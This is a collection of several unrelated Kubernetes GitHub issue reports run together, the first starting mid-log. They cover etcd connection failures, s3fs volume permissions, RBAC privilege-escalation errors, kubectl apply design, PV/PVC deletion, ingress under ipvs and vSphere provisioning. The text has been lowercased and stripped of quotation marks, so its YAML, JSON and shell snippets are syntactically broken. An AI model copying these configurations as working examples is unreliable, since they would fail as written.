9851 flags.go:33  flag: --token-auth-file=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367519    9851 flags.go:33  flag: --v=\ 2\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367522    9851 flags.go:33  flag: --version=\ false\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367526    9851 flags.go:33  flag: --vmodule=\ \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367531    9851 flags.go:33  flag: --watch-cache=\ true\ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367534    9851 flags.go:33  flag: --watch-cache-sizes=\   \ \r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367572    9851 server.go:681  external host was not specified, using 172.16.10.70\r nov 21 06:22:50 kube-node1 kube-apiserver: w1121 06:22:50.367579    9851 authentication.go:383  anonymousauth is not allowed with the alwaysallow authorizer. resetting anonymousauth to false. you should use a different authorizer\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367875    9851 server.go:705  initializing deserialization cache size based on 0mb limit\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367880    9851 server.go:724  initializing cache sizes based on 0mb limit\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.367997    9851 server.go:152  version: v1.12.2\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.704482    9851 plugins.go:158  loaded 7 mutating admission controller s  successfully in the following order: namespacelifecycle,limitranger,serviceaccount,priority,defaulttolerationseconds,defaultstorageclass,mutatingadmissionwebhook.\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.704498    9851 plugins.go:161  loaded 6 validating admission controller s  successfully in the following order: limitranger,serviceaccount,priority,persistentvolumeclaimresize,validatingadmissionwebhook,resourcequota.\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.704895    9851 plugins.go:158  loaded 7 mutating admission controller s  successfully in the following order: namespacelifecycle,limitranger,serviceaccount,priority,defaulttolerationseconds,defaultstorageclass,mutatingadmissionwebhook.\r nov 21 06:22:50 kube-node1 kube-apiserver: i1121 06:22:50.704902    9851 plugins.go:161  loaded 6 validating admission controller s  successfully in the following order: limitranger,serviceaccount,priority,persistentvolumeclaimresize,validatingadmissionwebhook,resourcequota.\r nov 21 06:23:10 kube-node1 kube-apiserver: f1121 06:23:10.706801    9851 storage_decorator.go:57  unable to create storage backend: config  &{ /registry  https://172.16.10.70:2379 https://172.16.10.197:2379 https://172.16.10.198:2379     true true 1000 0xc420a6a900 <nil> 5m0s 1m0s} , err  context deadline exceeded \r nov 21 06:23:10 kube-node1 systemd: kube-apiserver.service: main process exited, code=exited, status=255/n/a\r nov 21 06:23:10 kube-node1 systemd: stopped kubernetes api service.\r nov 21 06:23:10 kube-node1 systemd: unit kube-apiserver.service entered failed state.\r nov 21 06:23:10 kube-node1 systemd: kube-apiserver.service failed.\r    \r \r note:\r \r    \r nov 21 06:23:10 kube-node1 kube-apiserver: f1121 06:23:10.706801    9851 storage_decorator.go:57  unable to create storage backend: config  &{ /registry  https://172.16.10.70:2379 https://172.16.10.197:2379 https://172.16.10.198:2379     true true 1000 0xc420a6a900 <nil> 5m0s 1m0s} , err  context deadline exceeded \r    \r \r below is my configuration information：\r \r    shell\r  root@kube-node1 ~   etcdctl   \\\r --ca-file=/etc/kubernetes/ssl/etcd-ca.pem   \\\r --cert-file=/etc/kubernetes/ssl/etcd.pem   \\\r --key-file=/etc/kubernetes/ssl/etcd-key.pem cluster-health\r member 3469b5fca747d84a is healthy: got healthy result from https://172.16.10.70:2379\r member 8a93d690d07ce7f1 is healthy: got healthy result from https://172.16.10.197:2379\r member f420d85cbd620daf is healthy: got healthy result from https://172.16.10.198:2379\r cluster is healthy\r \r  root@kube-node1 ~   etcdctl   \\\r --ca-file=/etc/kubernetes/ssl/etcd-ca.pem   \\\r --cert-file=/etc/kubernetes/ssl/etcd.pem   \\\r --key-file=/etc/kubernetes/ssl/etcd-key.pem --version\r etcdctl version: 3.2.24\r api version: 2\r \r  root@kube-node1 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  root@kube-node1 ~   cat /etc/kubernetes/config \r    \r   kubernetes system config\r  \r   the following values are used to configure various aspects of all\r   kubernetes services, including\r  \r     kube-apiserver.service\r     kube-controller-manager.service\r     kube-scheduler.service\r     kubelet.service\r     kube-proxy.service\r   logging to stderr means we get it in the systemd journal\r kube_logtostderr=\ --logtostderr=true\ \r \r   journal message level, 0 is debug\r kube_log_level=\ --v=2\ \r \r  root@kube-node1 ~   cat /etc/kubernetes/apiserver \r    \r    kubernetes system config\r   \r    the following values are used to configure the kube-apiserver\r   \r  \r    the address on the local server to listen to.\r kube_api_address=\ --advertise-address=172.16.10.70 --bind-address=172.16.10.70\ \r  \r    the port on the local server to listen on.\r  kube_api_port=\ --port=8080\ \r  \r    port minions listen on\r  kubelet_port=\ --kubelet-port=10250\ \r  \r    comma separated list of nodes in the etcd cluster\r kube_etcd_servers=\ --etcd-servers=https://172.16.10.70:2379,https://172.16.10.197:2379,https://172.16.10.198:2379\ \r  \r    address range to use for services\r kube_service_addresses=\ --service-cluster-ip-range=10.254.0.0/16\ \r  \r    default admission control policies\r   kube_admission_control=\ --admission-control=serviceaccount,namespacelifecycle,namespaceexists,limitranger,resourcequota\ \r kube_admission_control=\ --enable-admission-plugins=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,defaulttolerationseconds,mutatingadmissionwebhook,validatingadmissionwebhook,resourcequota\ \r  \r    add your own!\r kube_apiserver_args=\ --allow-privileged=true --authorization-mode=node,rbac --anonymous-auth=false --enable-bootstrap-token-auth=true --token-auth-file=/etc/kubernetes/token.csv --service-node-port-range=30000-32767 --tls-cert-file=/etc/kubernetes/ssl/kubernetes.pem --tls-private-key-file=/etc/kubernetes/ssl/kubernetes-key.pem --client-ca-file=/etc/kubernetes/ssl/ca.pem --service-account-key-file=/etc/kubernetes/ssl/ca-key.pem --etcd-cafile=/etc/kubernetes/ssl/etcd-ca.pem --etcd-certfile=/etc/kubernetes/ssl/etcd.pem --etcd-keyfile=/etc/kubernetes/ssl/etcd-key.pem --enable-swagger-ui=true --secure-port=6443 --kubelet-client-certificate=/etc/kubernetes/ssl/admin.pem --kubelet-client-key=/etc/kubernetes/ssl/admin-key.pem\ \r    \r \r note, my version is 1.12.\r please help me.

i have solr statefulset that runs, non-root user and have two volumeclaim for sts one is for data  s3   and one is for data backup   s3fs   mounted to solr-pod\r \r i have problem with volumeclaim with  s3fs , basically it is for backup data collection and filesystem created on pods looks like below\r    \r solr@solr-master-0:/tmp$ ls -la \r total 25\r drwxrwxrwt 1 root root 4096 dec 16 03:09 .\r drwxr-xr-x 1 root root 4096 dec 16 03:05 ..\r drwxrwxr-x 1 root root    0 jan  1  1970 solr\r    \r \r i want to  volumeclaim  that mount with non-root   solr   or  777 permissions \r   expected  \r    \r solr@solr-master-0:/tmp$ ls -la \r total 25\r drwxrwxrwt 1 root root 4096 dec 16 03:09 .\r drwxr-xr-x 1 root root 4096 dec 16 03:05 ..\r drwxrwxr-x 1 solr solr    0 jan  1  1970 solr\r    \r or\r    \r solr@solr-master-0:/tmp$ ls -la \r total 25\r drwxrwxrwt 1 root root 4096 dec 16 03:09 .\r drwxr-xr-x 1 root root 4096 dec 16 03:05 ..\r drwxrwxrwx 1 root root    0 jan  1  1970 solr\r    \r \r   statefulset  \r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: solr\r   namespace: default\r spec:\r   selector:\r     matchlabels:\r       app: solr \r   servicename: \ solr\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: solr\r     spec:\r       securitycontext:\r         fsgroup: 1000\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: solr\r         image: solr\r         ports:\r         - containerport: 80\r           name: web\r         volumemounts:\r         - name: mypvc\r           mountpath: /tmp/solr\r   volumeclaimtemplates:\r   - metadata:\r       name: mypvc\r       annotations:\r         ibm.io/auto-create-bucket: \ true\ \r         ibm.io/auto-delete-bucket: \ true\ \r         ibm.io/bucket: \ mybucket\ \r         ibm.io/secret-name: mysecret\r         volume.beta.kubernetes.io/storage-class: ibmc-s3fs-standard-perf-cross-region\r         volume.beta.kubernetes.io/storage-provisioner: ibm.io/ibmc-s3fs\r     spec:\r         securitycontext:\r           fsgroup: 1000\r           runasnonroot: true\r           runasuser: 1000\r       accessmodes:   \ readwritemany\   \r       storageclassname: \ ibmc-s3fs-standard-perf-cross-region\ \r       resources:\r         requests:\r           storage: 1gi\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t15:22:13z\ , goversion:\ go1.9.6\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5+iks\ , gitcommit:\ 93ab2680ca982746b1cc0827f59bb53143ebfc08\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:32:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  ibm cloud \r - os  e.g. from /etc/os-release : \r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r  linux solr-master-0 4.4.0-137-generic  163-ubuntu smp mon sep 24 13:14:43 utc 2018 x86_64 gnu/linux\r  \r - install tools:  solr \r - others:  solr starts with non-root, pod runs on non-root user, docker image has user solr \r \r <!-- do not edit below this line -->\r  @kubernetes/sig-storage-bugs\r @kubernetes/sig-storage-api-reviews\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i have an user with clusterrole admin only in \ default\  namespace. i created it as following:\r \r    \r ---\r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: my-user-admin\r   namespace: default\r ---\r kind: rolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: my-user-full\r   namespace: default\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: admin\r subjects:\r - kind: serviceaccount\r   name: my-user-admin\r   namespace: default\r    \r \r with that user i can create, list, get... any object  pods,   jobs  , deployments, services... . i can also create roles to allow creating all those resources but jobs. i get permission issues when creating any role that has any verb in   job   resources.\r \r   what you expected to happen  :\r as an admin user in that namespace, i should be able to create roles giving permissions to job objects\r \r   how to reproduce it  as minimally and precisely as possible   :\r first create an user as describe above with admin permissions. using that user with kubectl, run following command:\r \r    \r cat <<eof | kubectl create -f -\r ---\r kind: role\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: my-great-role\r   namespace: default\r rules:\r   - apigroups:  \ \  \r     resources:  \ services\ , \ pods\ , \ replicationcontrollers\ , \ persistentvolumeclaims\  \r     verbs:  \ get\ , \ list\ , \ watch\ , \ create\ , \ delete\ , \ update\  \r   - apigroups:  \ \  \r     resources:  \ configmaps\ , \ secrets\  \r     verbs:  \ get\ , \ list\ , \ watch\  \r   - apigroups:  \ apps\  \r     resources:  \ statefulsets\ , \ deployments\ , \ replicasets\  \r     verbs:  \ get\ , \ list\ , \ watch\ , \ create\ , \ delete\ , \ update\ , \ patch\  \r   - apigroups:  \ extensions\  \r     resources:  \ deployments\ , \ replicasets\ , \ job\  \r     verbs:  \ get\ , \ list\ , \ watch\ , \ create\ , \ delete\ , \ update\ , \ patch\  \r   - apigroups:  \ batch\  \r     resources:  \ cronjobs\  \r     verbs:  \ create\ , \ delete\ , \ get\ , \ list\ , \ watch\  \r eof\r    \r \r it fails with error:\r \r  error from server  forbidden : error when creating \ stdin\ : roles.rbac.authorization.k8s.io \ my-great-role\  is forbidden: attempt to grant extra privileges:  { get   extensions   job       } { list   extensions   job       } { watch   extensions   job       } { create   extensions   job       } { delete   extensions   job       } { update   extensions   job       } { patch   extensions   job       }  user=&{system:serviceaccount:default:alvaro-admin 874a8bbe-3a81-11e9-bc7a-02b00590bd64  system:serviceaccounts system:serviceaccounts:default system:authenticated  map  } ownerrules= { get watch list      namespaces       } { create   authorization.k8s.io   selfsubjectaccessreviews selfsubjectrulesreviews       } { get            /api /api/  /apis /apis/  /healthz /openapi /openapi/  /swagger-2.0.0.pb-v1 /swagger.json /swaggerapi /swaggerapi/  /version /version/ } { create delete deletecollection patch update   certmanager.k8s.io   certificates issuers       } { get list watch   certmanager.k8s.io   certificates issuers       } { create delete deletecollection get list patch update watch      pods pods/attach pods/exec pods/portforward pods/proxy       } { create delete deletecollection get list patch update watch      configmaps endpoints persistentvolumeclaims replicationcontrollers replicationcontrollers/scale secrets serviceaccounts services services/proxy       } { get list watch      bindings events limitranges namespaces/status pods/log pods/status replicationcontrollers/status resourcequotas resourcequotas/status       } { get list watch      namespaces       } { impersonate      serviceaccounts       } { create delete deletecollection get list patch update watch   apps   daemonsets deployments deployments/rollback deployments/scale replicasets replicasets/scale statefulsets       } { create delete deletecollection get list patch update watch   autoscaling   horizontalpodautoscalers       } { create delete deletecollection get list patch update watch   batch   cronjobs jobs       } { create delete deletecollection get list patch update watch   extensions   daemonsets deployments deployments/rollback deployments/scale ingresses networkpolicies replicasets replicasets/scale replicationcontrollers/scale       } { create delete deletecollection get list patch update watch   policy   poddisruptionbudgets       } { create delete deletecollection get list patch update watch   networking.k8s.io   networkpolicies       } { create   authorization.k8s.io   localsubjectaccessreviews       } { create delete deletecollection get list patch update watch   rbac.authorization.k8s.io   rolebindings roles       } { create   apps   statefulsets/scale       } { delete   apps   statefulsets/scale       } { deletecollection   apps   statefulsets/scale       } { get   apps   statefulsets/scale       } { list   apps   statefulsets/scale       } { patch   apps   statefulsets/scale       } { update   apps   statefulsets/scale       } { watch   apps   statefulsets/scale       } { create   apps   controllerrevisions       } { delete   apps   controllerrevisions       } { deletecollection   apps   controllerrevisions       } { get   apps   controllerrevisions       } { list   apps   controllerrevisions       } { patch   apps   controllerrevisions       } { update   apps   controllerrevisions       } { watch   apps   controllerrevisions       }  ruleresolutionerrors=   \r \r if you delete job from extensions apigroup, it works as expected.\r \r   environment  :\r - kubernetes version: v1.11.7\r - cloud provider or hardware configuration: aws\r - os  e.g:  cat /etc/os-release  : coreos\r

see  35234 for work items  ---   apply details  ---  to capture discussion on  1178,  1702,  13007,  17333, and other issues/prs. cc @jackgr @ghodss   summary  to be transcribed into a doc :  apply conceptually is intended to enable users to just specify a configuration and \ make it so\ . but it's not that easy.  we represent default values explicitly in the api so that system components, ecosystem components, tools, and users don't need to reason about implicit behaviors, especially since such behaviors can change across api versions. https://github.com/kubernetes/kubernetes/blob/master/docs/devel/api-conventions.md defaulting  we also want apply to work with automation, such as auto-scaling, and asynchronously filled-in values, such as node or ip assignments. https://github.com/kubernetes/kubernetes/blob/master/docs/devel/api-conventions.md late-initialization  therefore, unspecified values are  supposed to be  interpreted by apply as not managed by the user.   to do this, apply is implemented as a kind of 3-way merge, of their previous configuration, their new configuration, and the live state in apiserver/etcd. obviously, this means that the previous configuration needs to be stored somewhere. it is currently stored in an annotation on each resource   16543 .  the diff-and-patch process has a few tricky issues. one is that we often don't want to overwrite arrays, which is standard json patch behavior, and we don't want to merge elements positionally, either. many arrays have primary keys, similar to maps. we created a custom patch strategy to implement this behavior: https://github.com/kubernetes/kubernetes/blob/master/docs/devel/api-conventions.md strategic-merge-patch  one problem we haven't solved yet is that oneof / union cases also need to be recognized, so that the previous value can be automatically nulled when a selection is changed  example of a oneof issue:  24198 .  we need to find a way to represent the merge strategy, merge keys, and oneof relationships in swagger  probably swagger 2.0 , as well. otherwise, kubectl apply won't work properly with a cluster of a different release.  we need to clean up all cases in the api types.go files that don't properly allow us to distinguish unspecified values from default values  e.g., using pointers for optional fields .  we should ensure imperative mutations like scale, label, and annotate don't update the last-applied-configuration annotation by default, since that would cause those changes to get removed on the next apply if not added to the user's configuration file.  the user needs to be able to explicitly nil values when performing apply  so that needs to be fixed if it doesn't work .  we should detect conflicts between the live state and the applied state   13576 .  we should fix the handling of secret data   23564,  20508 .  we need a pattern to recommend for rolling out configmaps   22368 .  i _think_ changing the name of the configmap should just work, once we have server-side cascading deletion.   we should figure out how to automatically test apply  26234.  search issues for \ kubectl apply\  to find other misc. bugs and features.  cc @adohe @ghodss @kubernetes/kubectl

e.g. bound_pod_factory.go vs boundpodfactory.go  i strongly prefer the former.

currently, kubernetes places no restrictions on deleting pvs and pvcs.  because of this, if users delete these resources in an unexpected order, strange and incorrect behavior can result.  there are essentially two parts to this issue, but they seem similar, so i'm grouping them in the same issue for now.    deleting bound pvs before pvcs  suppose a user has a pv,  test-vol , currently bound to a pvc,  test-claim .  then the following sequence of events happens:          kubectl delete test-vol     kubectl create -f test-claim2.yaml     kubectl create -f test-vol.yaml      once this is done, running  kubectl get pvc  will show both  test-claim  and  test-claim2  to be bound to  test-vol .  pods that reference  test-claim2  will be able to start successfully, while pods that reference  test-claim  will hang in the containercreating state.    deleting pvcs in use by a pod  as long as the pod remains up, the pod will continue running successfully  assuming the storage underlying the pvc has not been deallocated .  however, if the pod crashes and is brought back up, one of two cases can happen: - if no pvc with the name of the deleted pvc exists, the pod will enter crashloopbackoff  this should be expected. - if a new pvc has been created with the same name, the pod will restart with the underlying storage for that pvc mounted.  this will occur even if the pvc has bound to a different pv.  neither of these cases seem like urgent problems--they rely on users behaving badly--but they could easily lead to confusion or, in the case of in-use pvc deletion, they could enable attacks.  there may be other cases similar to these, but these are what i've noticed so far.

hi,   i am trying to get a kubernetes cluster running in offline mode  no internet connection in production . i ran into the same issue as reported here:  https://github.com/kubernetes/kubernetes/issues/23976  following the code links in issue 23976 i found the following comment in  https://github.com/kubernetes/kubernetes/blob/master/pkg/util/net/interface.go l200  > //choosehostinterface is a method used fetch an ip for a daemon. > //it uses data from /proc/net/route file. >   //for a node with no internet connection ,it returns error   > //for a multi n/w interface node it returns the ip of the interface with gateway on it.  is this correct? do i really need to have an internet connection to run e.g. kube-apiserver?  studying the code at https://github.com/kubernetes/kubernetes/blob/master/pkg/util/net/interface.go l238 it seems that the code is looking for an interface that occurs in /proc/net/route and has 00000000 as destionation. this could be easily changed!   could you change the code in a way that an internet gateway is not necessary? shouldn't be a big deal, should it?   or am i missing here something else. is there anyway to start kube-apiserver without being connected with the internet?

as the rbac role need to be related to resources. i think we could use a command to get the supported resources.\r \r ref to https://github.com/kubernetes/kubernetes.github.io/blob/master/docs/admin/authorization.md referring-to-resources

documenting the list of known issues with federated services:\r \r -     should configure cname records instead of a records on aws: https://github.com/kubernetes/kubernetes/issues/35637\r -     duplicate resource record errors with route53: https://github.com/kubernetes/kubernetes/issues/42131\r -     remove dns entries when a cluster is removed from federation: https://github.com/kubernetes/kubernetes/issues/36657\r -     fail to create dns records for multizone clusters: https://github.com/kubernetes/kubernetes/issues/35997\r \r cc @kubernetes/sig-federation-bugs @shashidharatd @madhusudancs

is this a bug report or feature request?  : bug report\r  \r   what happened  : assume a customresource\r original:\r    \r {\r     \ apiversion\ : \ company/v1\ ,\r     \ kind\ : \ customresource\ ,\r     \ metadata\ : {\r         \ annotations\ : {},\r         \ name\ : \ secrets\ ,\r         \ namespace\ : \ test\ \r     }\r }\r    \r current:\r    \r {\r     \ apiversion\ : \ company/v1\ ,\r     \ kind\ : \ customresource\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubectl.kubernetes.io/last-applied-configuration\ : \ {\\\ apiversion\\\ :\\\ company/v1\\\ ,\\\ kind\\\ :\\\ vaultsecret\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ name\\\ :\\\ secrets\\\ ,\\\ namespace\\\ :\\\ test\\\ }}\ \ \r         },\r         \ clustername\ : \ \ ,\r         \ creationtimestamp\ : \ 2018-01-24t22:49:30z\ ,\r         \ deletiongraceperiodseconds\ : null,\r         \ deletiontimestamp\ : null,\r         \ generation\ : 0,\r         \ name\ : \ secrets\ ,\r         \ namespace\ : \ test\ ,\r         \ resourceversion\ : \ 4800\ ,\r         \ uid\ : \ d6e8e5d8-0158-11e8-be12-080027cce81e\ \r     },\r     \ time-processed\ : \ 2018-01-24t22:49:30\ \r }\r    \r modified:\r    \r {\r     \ apiversion\ : \ company/v1\ ,\r     \ kind\ : \ customresource\ ,\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubectl.kubernetes.io/last-applied-configuration\ : \ {\\\ apiversion\\\ :\\\ company/v1\\\ ,\\\ kind\\\ :\\\ vaultsecret\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ name\\\ :\\\ secrets\\\ ,\\\ namespace\\\ :\\\ test\\\ }}\ \ \r         },\r         \ name\ : \ secrets\ ,\r         \ namespace\ : \ test\ \r     }\r }\r    \r \r original add-and-change patch current -> modified\r    \r {\r     \ metadata\ : {\r         \ clustername\ : null,\r         \ creationtimestamp\ : null,\r         \ deletiongraceperiodseconds\ : null,\r         \ deletiontimestamp\ : null,\r         \ generation\ : null,\r         \ resourceversion\ : null,\r         \ selflink\ : null,\r         \ uid\ : null\r     }\r }\r    \r filtered add-and-change patch  non-nulls only \r note that at this point, the patch could have been optimized to  {} \r    \r {\ metadata\ :{}}\r    \r \r original deleted patch between original -> modified\r    \r {\r     \ metadata\ : {\r         \ annotations\ : {\r             \ kubectl.kubernetes.io/last-applied-configuration\ : \ {\\\ apiversion\\\ :\\\ company/v1\\\ ,\\\ kind\\\ :\\\ vaultsecret\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ name\\\ :\\\ secrets\\\ ,\\\ namespace\\\ :\\\ test\\\ }}\ \ \r         }\r     }\r }\r    \r filtered deleted patch  nulls only \r note that at this point, the patch could have been optimized to  {} \r    \r {\ metadata\ :{\ annotations\ :{}}}\r    \r \r this results in a non-empty patch, which causes issues since we forbid patches to most users. we'd like for unchanged files to not result in unnecessary patch requests, as they result in forbidden requests.\r \r   what you expected to happen  : the modified object above should resolve to an empty patch, and kubectl should not send a patch request to the apiserver.\r \r   how to reproduce it  as minimally and precisely as possible   : create a customresourcedefinition, create an instance of the resource using a file, forbid patching to the custom resource, re-apply the same file - you should receive a forbidden error.\r \r \r   anything else we need to know?  : this is totally kubectl-side issue - kubectl is calculating a patch, and then sends an unnecessary patch request to a non-optimal patch resolution.\r i have a fix ready that fixes the issue, but need to wait for my company to read over the cla.\r \r the issue lies with the code block here: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/jsonmergepatch/patch.go l116\r the block fails to clean up nested maps that no longer contain any patches, eg  {a: { b: nil } }  filters nils to  {a: {} }  when really it can go further and resolve to  {} \r \r there's 2 solutions that i can see, i chose the former:\r 1  modify the linked block above to remove empty filtered maps if they weren't already explicitly set in the original map\r 2  preserve the existing code, and then in kubectl's apply.go go over the filtered patch and remove empty patches there\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6 client/server, but verified  kubectl  built off current master has the same issue.\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : n/a  kubectl running on mac \r - kernel  e.g.  uname -a  : n/a\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r in a k8s cluster with ipvs proxy mode, when you create an ingress, the loadbalancer of this ingress can't be create　automatically, which caused the ipvs ci \ gci-gce-ipvs\  failed, link: http://k8s-testgrid.appspot.com/sig-network-gce gci-gce-ipvs\r \r the failed case is  loadbalancing: l7  slow  nginx should conform to ingress spec , with logs:\r    \r mar 30 00:39:51.870: info: stdout: \ service \\\ echoheadersx\\\  created\ service \\\ echoheadersy\\\  created\ \ \r mar 30 00:39:51.870: info: parsing ingress from test/e2e/testing-manifests/ingress/http/ing.yaml\r mar 30 00:39:51.873: info: creating echomap ingress\r step: waiting for urls on basic http ingress\r mar 30 00:39:51.905: info: waiting for ingress e2e-tests-ingress-n6smw/echomap to acquire ip, error: <nil>, ipornamelist:   \r mar 30 00:40:01.909: info: waiting for ingress e2e-tests-ingress-n6smw/echomap to acquire ip, error: <nil>, ipornamelist:   \r mar 30 00:40:11.909: info: waiting for ingress e2e-tests-ingress-n6smw/echomap to acquire ip, error: <nil>, ipornamelist:   \r mar 30 00:40:21.914: info: waiting for ingress e2e-tests-ingress-n6smw/echomap to acquire ip, error: <nil>, ipornamelist:   \r mar 30 00:40:31.914: info: waiting for ingress e2e-tests-ingress-n6smw/echomap to acquire ip, error: <nil>, ipornamelist:   \r    \r time out when waiting for for ingress to get an address. \r \r i'm not sure why, but i can see the pod  nginx-ingress-controller  keep restarting, \r    \r   k get pod \r name                             ready     status             restarts   age\r echoheaders-cxp2d                1/1       running            0          2h\r nginx-ingress-controller-5prlf   0/1       crashloopbackoff   34         2h\r    \r \r and with container logs:\r    \r i0330 12:21:03.732302       5 launch.go:92  &{nginx 0.9.0-beta.1 git-910b706 https://github.com/bprashanth/ingress.git}\r i0330 12:21:03.732908       5 launch.go:221  creating api server client for https://10.0.0.1:443\r i0330 12:21:03.733867       5 nginx.go:109  starting nginx process...\r f0330 12:21:03.762489       5 launch.go:109  no service with name kube-system/default-http-backend found: services \ default-http-backend\  is forbidden: user \ system:serviceaccount:default:default\  cannot get services in the namespace \ kube-system\ \r    \r \r afaik, ingress ip   have nothing to do with kube-proxy  , but when i change proxy mode to   iptables  ,   then ingress got it's ip in few seconds  , though  ingress-controller  still in  crashloopbackoff  status.\r \r is there any conflict between ipvs proxy rules and ingress controller? maybe have this possibility.\r \r \r   what you expected to happen  :\r ingress can got it's ip in ipvs proxy mode.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. build a cluster in gce environment with proxy mode ipvs.\r 2. create  nginx-ingress-controller .\r 3. create ingress with backends.\r 4. wait for the ingress ip.   t_t\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu16.04.3\r - kernel  e.g.  uname -a  : 4.13.0-1008-gcp  11-ubuntu smp thu jan 25 11:08:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: cluster/kube-up\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r kube-apiserver enable swagger ui , local brower can visit swagger ui ,but the swagger ui page will sticking and no response.\r \r   what you expected to happen  :\r show detail info when i click an api interface.\r \r   how to reproduce it  as minimally and precisely as possible   :\r enable swagger ui ,and visit it .\r \r   anything else we need to know?  :\r configed cluster use kubeadm 1.9.5.\r visit swagger ui use chrome.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: baremeta\r - os  e.g. from /etc/os-release :centos7\r - kernel  e.g.  uname -a  :3.10.0-693\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r when k8s cluster contains windows nodes, pvc provisionning is trying to use one of them to provision pvc\r \r   what you expected to happen  :\r pvc provisionning should use linux nodes only\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : tried with 1.11.1 and 1.12.1\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r hi.\r \r i have a cluster with linux nodes and windows nodes on a vsphere cluster\r i want to use vmdk pv for linux nodes, but when declaring new pvc, controller pick a random node to do provision. when it appens to be a windows node, the process is stuck trying to get vmuuid.\r \r i1016 07:25:57.261855       1 event.go:221  event v1.objectreference{kind:\ persistentvolumeclaim\ , namespace:\ default\ , name:\ jira\ , uid:\ 794270e8-d10c-11e8-a0e7-005056bed3b8\ , apiversion:\ v1\ , resourceversion:\ 22792561\ , fieldpath:\ \ } : type: 'warning' reason: 'provisioningfailed' failed to provision volume with storageclass \ nrb-prd\ : no vm found\r e1016 07:28:12.296474       1 datacenter.go:78  unable to find vm by uuid. vm uuid: \r e1016 07:28:12.296526       1 nodemanager.go:419  error \ no vm found\  node info for node \ k8s-win-01\  not found\r e1016 07:28:12.296540       1 vsphere_util.go:133  error while obtaining kubernetes node nodevmdetail details. error : no vm found\r e1016 07:28:12.296548       1 vsphere.go:1186  failed to get shared datastore: no vm found\r e1016 07:28:12.296659       1 goroutinemap.go:150  operation for \ provision-default/jira 794270e8-d10c-11e8-a0e7-005056bed3b8 \  failed. no retries permitted until 2018-10-16 07:30:14.296607463 +0000 utc m=+409466.585723599  